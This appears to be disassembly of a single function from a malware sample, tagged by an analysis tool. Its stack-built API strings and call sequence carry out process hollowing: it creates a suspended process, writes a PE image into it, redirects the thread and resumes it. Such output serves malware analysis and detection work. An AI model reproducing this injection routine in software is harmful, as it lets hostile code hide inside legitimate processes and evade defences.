Function at 0x401d88
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
lea ebp, [esp - 0x70]
mov ecx, dword [ebp + 0x78]
sub esp, 0x304
push ebx
xor ebx, ebx
cmp ecx, ebx
je 0x402183
cmp word [ecx], 0x5a4d
jne 0x402183
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x44], eax
je 0x402183
cmp dword [eax], 0x4550
jne 0x402183
movzx ecx, word [eax + 0x14]
lea eax, [ecx + eax + 0x18]
cmp eax, ebx
mov dword [ebp - 0x3c], eax
je 0x402183
push esi
push edi
push 0x40
lea eax, [ebp - 0x88]
push ebx
push eax
mov dword [ebp - 0x8c], ebx
call fcn.0040a100
add esp, 0xc
mov dword [ebp - 0x30], ebx
xor eax, eax
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov byte [ebp + 0x34], 0x43
mov byte [ebp + 0x35], 0x72
mov byte [ebp + 0x36], 0x65
mov byte [ebp + 0x37], 0x61
mov byte [ebp + 0x38], 0x74
mov byte [ebp + 0x39], 0x65
mov byte [ebp + 0x3a], 0x50
mov byte [ebp + 0x3b], 0x72
mov byte [ebp + 0x3c], 0x6f
mov byte [ebp + 0x3d], 0x63
mov byte [ebp + 0x3e], 0x65
mov byte [ebp + 0x3f], 0x73
mov byte [ebp + 0x40], 0x73
mov byte [ebp + 0x41], 0x57
mov byte [ebp + 0x42], bl
mov byte [ebp + 0x20], 0x47
mov byte [ebp + 0x21], 0x65
mov byte [ebp + 0x22], 0x74
mov byte [ebp + 0x23], 0x54
mov byte [ebp + 0x24], 0x68
mov byte [ebp + 0x25], 0x72
mov byte [ebp + 0x26], 0x65
mov byte [ebp + 0x27], 0x61
mov byte [ebp + 0x28], 0x64
mov byte [ebp + 0x29], 0x43
mov byte [ebp + 0x2a], 0x6f
mov byte [ebp + 0x2b], 0x6e
mov byte [ebp + 0x2c], 0x74
mov byte [ebp + 0x2d], 0x65
mov byte [ebp + 0x2e], 0x78
mov byte [ebp + 0x2f], 0x74
mov byte [ebp + 0x30], bl
mov byte [ebp - 8], 0x52
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x61
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x50
mov byte [ebp - 3], 0x72
mov byte [ebp - 2], 0x6f
mov byte [ebp - 1], 0x63
mov byte [ebp], 0x65
mov byte [ebp + 1], 0x73
mov byte [ebp + 2], 0x73
mov byte [ebp + 3], 0x4d
mov byte [ebp + 4], 0x65
mov byte [ebp + 5], 0x6d
mov byte [ebp + 6], 0x6f
mov byte [ebp + 7], 0x72
mov byte [ebp + 8], 0x79
mov byte [ebp + 9], bl
mov byte [ebp + 0x44], 0x56
mov byte [ebp + 0x45], 0x69
mov byte [ebp + 0x46], 0x72
mov byte [ebp + 0x47], 0x74
mov byte [ebp + 0x48], 0x75
mov byte [ebp + 0x49], 0x61
mov byte [ebp + 0x4a], 0x6c
mov byte [ebp + 0x4b], 0x41
mov byte [ebp + 0x4c], 0x6c
mov byte [ebp + 0x4d], 0x6c
mov byte [ebp + 0x4e], 0x6f
mov byte [ebp + 0x4f], 0x63
mov byte [ebp + 0x50], 0x45
mov byte [ebp + 0x51], 0x78
mov byte [ebp + 0x52], bl
mov byte [ebp - 0x1c], 0x57
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x50
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x63
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x4d
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x6d
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x79
mov byte [ebp - 0xa], bl
mov byte [ebp + 0xc], 0x53
mov byte [ebp + 0xd], 0x65
mov byte [ebp + 0xe], 0x74
mov byte [ebp + 0xf], 0x54
mov byte [ebp + 0x10], 0x68
mov byte [ebp + 0x11], 0x72
mov byte [ebp + 0x12], 0x65
mov byte [ebp + 0x13], 0x61
mov byte [ebp + 0x14], 0x64
mov byte [ebp + 0x15], 0x43
mov byte [ebp + 0x16], 0x6f
mov byte [ebp + 0x17], 0x6e
mov byte [ebp + 0x18], 0x74
mov byte [ebp + 0x19], 0x65
mov byte [ebp + 0x1a], 0x78
mov byte [ebp + 0x1b], 0x74
mov byte [ebp + 0x1c], bl
mov byte [ebp + 0x54], 0x52
mov byte [ebp + 0x55], 0x65
mov byte [ebp + 0x56], 0x73
mov byte [ebp + 0x57], 0x75
mov byte [ebp + 0x58], 0x6d
mov byte [ebp + 0x59], 0x65
mov byte [ebp + 0x5a], 0x54
mov byte [ebp + 0x5b], 0x68
mov byte [ebp + 0x5c], 0x72
mov byte [ebp + 0x5d], 0x65
mov byte [ebp + 0x5e], 0x61
mov byte [ebp + 0x5f], 0x64
mov byte [ebp + 0x60], bl
call fcn.00405a58
mov esi, dword [0x40c008]
mov edi, eax
lea eax, [ebp + 0x34]
push eax
push edi
call esi
mov dword [ebp + 0x64], eax
lea eax, [ebp + 0x20]
push eax
push edi
call esi
mov dword [ebp + 0x68], eax
lea eax, [ebp - 8]
push eax
push edi
call esi
mov dword [ebp - 0x48], eax
lea eax, [ebp + 0x44]
push eax
push edi
call esi
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x1c]
push eax
push edi
call esi
mov dword [ebp - 0x20], eax
lea eax, [ebp + 0xc]
push eax
push edi
call esi
mov dword [ebp - 0x40], eax
lea eax, [ebp + 0x54]
push eax
push edi
call esi
push 0x206
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x292]
push ebx
push eax
mov word [ebp - 0x294], bx
call fcn.0040a100
push dword [0x40f8d4]
lea eax, [ebp - 0x294]
push dword [ebp + 0x7c]
push 0x40d238
push eax
call dword [0x40c108]
add esp, 0x1c
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x8c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x294]
push eax
push ebx
call dword [ebp + 0x64]
test eax, eax
je 0x402181
push edi
push 0x3000
push 0x2cc
push ebx
call dword [0x40c010]
mov ecx, eax
and ecx, 3
mov dword [ebp + 0x6c], eax
jbe 0x402093
sub eax, ecx
add eax, edi
mov dword [ebp + 0x6c], eax
push eax
mov dword [eax], 0x10007
push dword [ebp - 0x2c]
call dword [ebp + 0x68]
test eax, eax
je 0x402181
push ebx
push edi
lea eax, [ebp + 0x68]
push eax
mov eax, dword [ebp + 0x6c]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x30]
mov dword [ebp + 0x68], ebx
call dword [ebp - 0x48]
mov edi, dword [ebp - 0x44]
mov eax, dword [ebp + 0x68]
cmp eax, dword [edi + 0x34]
jne 0x4020ea
push str.R6033_r_n__Attempt_to_use_MSIL_code_from_this_assembly_during_native_code_initialization_nThis_indicates_a_bug_in_your_application._It_is_most_likely_the_result_of_calling_an_MSIL_compiled___clr__function_from_a_native_constructor_or_from_DllMain._r_n
push 0x40d260
call dword [0x40c00c]
push eax
call esi
push dword [ebp + 0x68]
push dword [ebp - 0x30]
call eax
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [edi + 0x34]
push dword [ebp - 0x30]
call dword [ebp - 0x38]
cmp eax, ebx
mov dword [ebp + 0x64], eax
je 0x402181
mov esi, dword [ebp + 0x6c]
push ebx
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x30]
call dword [ebp - 0x20]
mov eax, dword [edi + 0x28]
add eax, dword [ebp + 0x64]
push esi
mov dword [esi + 0xb0], eax
push dword [ebp - 0x2c]
call dword [ebp - 0x40]
xor esi, esi
cmp word [edi + 6], bx
mov dword [ebp + 0x6c], ebx
jbe 0x402168
mov ebx, dword [ebp - 0x3c]
add ebx, 0x14
lea eax, [ebp + 0x6c]
push eax
push dword [ebx - 4]
mov eax, dword [ebx]
add eax, dword [ebp + 0x78]
push eax
mov eax, dword [ebx - 8]
add eax, dword [ebp + 0x64]
push eax
push dword [ebp - 0x30]
call dword [ebp - 0x20]
movzx eax, word [edi + 6]
inc esi
add ebx, 0x28
cmp esi, eax
jl 0x402142
lea eax, [ebp + 0x6c]
push eax
push dword [edi + 0x54]
push dword [ebp + 0x78]
push dword [ebp + 0x64]
push dword [ebp - 0x30]
call dword [ebp - 0x20]
push dword [ebp - 0x2c]
call dword [ebp - 0x34]
pop edi
pop esi
pop ebx
add ebp, 0x70
leave
ret